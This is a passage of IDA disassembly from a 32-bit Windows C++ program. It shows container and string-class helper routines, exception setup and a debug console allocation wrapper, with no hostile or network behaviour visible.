		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_7A0]
		mov	byte ptr [esp+0AD8h+var_780], 8
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_A70]
		mov	byte ptr [esp+0AD8h+var_780], 7
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_9E0]
		mov	byte ptr [esp+0AD8h+var_780], 6
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_9B0]
		mov	byte ptr [esp+0AD8h+var_780], 5
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_A40]
		mov	byte ptr [esp+0AD8h+var_780], 4
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_A58]
		mov	byte ptr [esp+0AD8h+var_780], 3
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_980]
		mov	byte ptr [esp+0AD8h+var_780], 2
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_950]
		mov	byte ptr [esp+0AD8h+var_780], 1
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_920]
		mov	byte ptr [esp+0AD8h+var_780], 0
		call	sub_13AB626
		lea	ecx, [esp+0AD8h+var_8F0]
		mov	[esp+0AD8h+var_780], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+0AD8h+var_788]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
sub_13B1B90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 5C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3850	proc near		; CODE XREF: sub_13AB86Aj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_13ABD74
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_13B3868
		mov	ecx, esi
		call	sub_13ABD0B


loc_13B3868:				; CODE XREF: sub_13B3850+Fj
		mov	ecx, esi
		call	sub_13ABE37
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_13B3850	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3890	proc near		; CODE XREF: sub_13ABE5Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_13AB68A
		push	eax
		mov	ecx, esi
		call	sub_13ABA8B
		pop	esi
		retn	4
sub_13B3890	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B38C0	proc near		; CODE XREF: sub_13ABE37j
		mov	eax, [ecx+4]
		retn
sub_13B38C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B38E0	proc near		; CODE XREF: sub_13AB68Aj
		mov	eax, [ecx+8]
		retn
sub_13B38E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3900	proc near		; CODE XREF: sub_13ABD74j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_13B390A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_13B390A:				; CODE XREF: sub_13B3900+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_13B3900	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3930	proc near		; CODE XREF: sub_13ABA8Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_13ABE37
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_13ABF9A
		mov	ecx, edi
		call	sub_13ABE37
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_13B3930	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_13B3980:				; CODE XREF: sub_13ABD0Bj
		push	0FFFFFFFFh
		push	438A59h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset dword_443940
		call	??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		call	??0out_of_range@std@@QAE@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@1@@Z
		lea	edx, [esp+14h]
		push	offset dword_43F080
		push	edx
		call	near ptr 13E0C52h
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3A00	proc near		; CODE XREF: sub_13ABF9Aj

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_13B3ACB
		mov	ecx, esi
		call	sub_13ABD74
		cmp	edi, eax
		jnb	short loc_13B3A33
		mov	ecx, esi
		call	sub_13ABD74
		mov	ebp, eax
		jmp	short loc_13B3A35
; ---------------------------------------------------------------------------


loc_13B3A33:				; CODE XREF: sub_13B3A00+26j
		mov	ebp, edi


loc_13B3A35:				; CODE XREF: sub_13B3A00+31j
		mov	ecx, esi
		call	sub_13ABD74
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_13AC0AD
		mov	edx, [esp+18h+var_4]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_13ABAD6
		mov	ecx, [esp+24h+var_8]
		mov	[esp+24h+var_C], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_13AB577
		mov	edx, [esp+30h+var_18]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+30h+var_1C]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_13ABAD6
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_13ABB0D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_13AB694
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_13ABD74
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13B3ACB:				; CODE XREF: sub_13B3A00+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_13B3B29
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_13ABAD6
		mov	eax, [esi+8]
		mov	edx, [esp+1Ch]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_13AB577
		mov	edx, [esp+28h+var_C]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_13AC396
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13B3B29:				; CODE XREF: sub_13B3A00+D8j
		test	edi, edi
		jbe	short loc_13B3B63
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_13ABAD6
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_13AC0CB
		mov	ecx, [esp+28h]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_13AC396
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_13B3B63:				; CODE XREF: sub_13B3A00+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_13B3A00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3BD0	proc near		; CODE XREF: sub_13ABB0Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_13B3BF0


loc_13B3BE1:				; CODE XREF: sub_13B3BD0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_13AC472
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_13B3BE1


loc_13B3BF0:				; CODE XREF: sub_13B3BD0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_13B3BD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3C10	proc near		; CODE XREF: sub_13AB694j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 13E0C02h
		pop	ecx
		retn	8
sub_13B3C10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3C30	proc near		; CODE XREF: sub_13AC472j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_10
		pop	ecx
		retn	4
sub_13B3C30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3C50	proc near		; CODE XREF: sub_13ABAD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_13B3C82
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_13B3C66:				; CODE XREF: sub_13B3C50+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_13AB9AA
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_13B3C66
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13B3C82:				; CODE XREF: sub_13B3C50+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_13B3C50	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3CA0	proc near		; CODE XREF: sub_13AB577j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_13B3CC7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_13B3CB6:				; CODE XREF: sub_13B3CA0+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_13AB9AA
		add	esi, 4
		dec	edi
		jnz	short loc_13B3CB6
		pop	esi
		pop	ebx


loc_13B3CC7:				; CODE XREF: sub_13B3CA0+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_13B3CA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3CE0	proc near		; CODE XREF: sub_13AC0ADj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_13AC43B
		add	esp, 8
		retn	8
sub_13B3CE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3D10	proc near		; CODE XREF: sub_13AB9AAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_13AB545
		add	esp, 8
		retn	8
sub_13B3D10	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3D40	proc near		; CODE XREF: sub_13AC396j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_13B3D5D
		mov	edx, [esp+arg_8]
		push	esi


loc_13B3D51:				; CODE XREF: sub_13B3D40+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_13B3D51
		pop	esi

locret_13B3D5D:				; CODE XREF: sub_13B3D40+Aj
		retn
sub_13B3D40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3D70	proc near		; CODE XREF: sub_13AC0CBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_13B3D92
		mov	eax, [esp+arg_8]
		push	esi


loc_13B3D81:				; CODE XREF: sub_13B3D70+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_13B3D81
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_13B3D92:				; CODE XREF: sub_13B3D70+Aj
		mov	eax, [esp+arg_8]
		retn
sub_13B3D70	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3DD0	proc near		; CODE XREF: sub_13AC43Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_13B3DDA
		xor	eax, eax


loc_13B3DDA:				; CODE XREF: sub_13B3DD0+6j
		shl	eax, 2
		push	eax
		call	near ptr 13E0C1Ah
		add	esp, 4
		retn
sub_13B3DD0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3E00	proc near		; CODE XREF: sub_13AB545j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_13AB5CC
		add	esp, 8
		test	eax, eax
		jz	short locret_13B3E1B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_13B3E1B:				; CODE XREF: sub_13B3E00+11j
		retn
sub_13B3E00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3E30	proc near		; CODE XREF: sub_13ABD79j

arg_0		= dword	ptr  4

		mov	al, ds:byte_4471AA
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_13B3E66
		push	edi
		call	AllocConsole	; AllocConsole
		mov	edi, GetStdHandle
		push	0FFFFFFF5h
		call	edi ; GetStdHandle
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi ; GetStdHandle
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_13B3E66:				; CODE XREF: sub_13B3E30+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_13B3E30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3EA0	proc near		; CODE XREF: sub_13AC0DAj
		mov	al, ds:byte_4471AA
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_13B3EBF
		call	FreeConsole	; FreeConsole
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_13B3EBF:				; CODE XREF: sub_13B3EA0+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_13B3EA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3EE0	proc near		; CODE XREF: sub_13AB824j
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	dword_43E010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_13B3EE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3F10	proc near		; CODE XREF: sub_13AC463j sub_13AC571j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AB626
		test	[esp+4+arg_0], 1
		jz	short loc_13B3F28
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13B3F28:				; CODE XREF: sub_13B3F10+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13B3F10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3F40	proc near		; CODE XREF: sub_13ABC61j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	dword_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_13AB9D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_13B3F40	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3F80	proc near		; CODE XREF: sub_13AB8C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	dword_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_13AC3BE
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_13B3F80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B3FC0	proc near		; CODE XREF: sub_13AC4F4j

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4437F4
		push	ecx
		mov	dword ptr [esi], offset	dword_43E010
		call	wsprintfA	; wsprintfA
		add	esp, 0Ch
		lea	edx, [esp+14h+var_C]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_13AB9D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_13B3FC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4030	proc near		; CODE XREF: sub_13AB626j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	dword_43E010
		cmp	eax, edi
		jz	short loc_13B404C
		push	eax
		call	near ptr 13E0C02h
		add	esp, 4


loc_13B404C:				; CODE XREF: sub_13B4030+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_13B405F
		push	eax
		call	near ptr 13E0C02h
		add	esp, 4


loc_13B405F:				; CODE XREF: sub_13B4030+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_13B4030	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4080	proc near		; CODE XREF: sub_13AB9D7j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_13B40EA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_13B40AA
		push	eax
		call	near ptr 13E0C02h
		add	esp, 4


loc_13B40AA:				; CODE XREF: sub_13B4080+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	near ptr 13E0C1Ah
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		mov	[esi+9], edi
		jz	short loc_13B40EA
		mov	ecx, ebx
		xor	eax, eax
		mov	edx, ecx
		mov	[esi+11h], ebp
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+11h]
		mov	ecx, [esp+10h+arg_0]
		mov	edx, [esi+9]
		push	eax
		push	ecx
		push	edx
		call	strncpy	; strncpy
		add	esp, 0Ch


loc_13B40EA:				; CODE XREF: sub_13B4080+Cj
					; sub_13B4080+3Dj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_13B4080	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4120	proc near		; CODE XREF: sub_13AC3BEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_13AB789
		push	eax
		mov	ecx, esi
		call	sub_13AB9D7
		pop	esi
		retn	4
sub_13B4120	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4150	proc near		; CODE XREF: sub_13ABE46j

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4437F4
		push	ecx
		call	wsprintfA	; wsprintfA
		add	esp, 0Ch
		lea	edx, [esp+10h+var_C]
		mov	ecx, esi
		push	edx
		call	sub_13AB9D7
		pop	esi
		add	esp, 10h
		retn	4
sub_13B4150	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B41A0	proc near		; CODE XREF: sub_13ABE9Bj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_13B4232
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	near ptr 13E0C1Ah
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_13B4232
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_13B422F
		push	eax
		call	near ptr 13E0C02h
		add	esp, 4


loc_13B422F:				; CODE XREF: sub_13B41A0+84j
		mov	[ebx+9], ebp


loc_13B4232:				; CODE XREF: sub_13B41A0+Cj
					; sub_13B41A0+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_13B41A0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4270	proc near		; CODE XREF: sub_13ABABDj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_13AB789
		push	eax
		mov	ecx, esi
		call	sub_13ABE9B
		pop	esi
		retn	4
sub_13B4270	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B42A0	proc near		; CODE XREF: sub_13AB540j

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4437F4
		push	ecx
		call	wsprintfA	; wsprintfA
		add	esp, 0Ch
		lea	edx, [esp+10h+var_C]
		mov	ecx, esi
		push	edx
		call	sub_13ABE9B
		pop	esi
		add	esp, 10h
		retn	4
sub_13B42A0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B42F0	proc near		; CODE XREF: sub_13AB6EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_13B4307
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_13B4307:				; CODE XREF: sub_13B42F0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_13B430B:				; CODE XREF: sub_13B42F0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13B4336
		test	cl, cl
		jz	short loc_13B432F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_13B4336
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13B430B


loc_13B432F:				; CODE XREF: sub_13B42F0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_13B4336:				; CODE XREF: sub_13B42F0+23j
					; sub_13B42F0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_13B42F0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4360	proc near		; CODE XREF: sub_13ABF72j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_13AB789
		push	eax
		mov	ecx, esi
		call	sub_13AB6EE
		pop	esi
		retn	4
sub_13B4360	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13B4390	proc near		; CODE XREF: sub_13AB900j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_13B43A3
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_13B43A3:				; CODE XREF: sub_13B4390+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		call	_strcmpi	; _strcmpi
		add	esp, 8
		retn	4
sub_13B4390	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

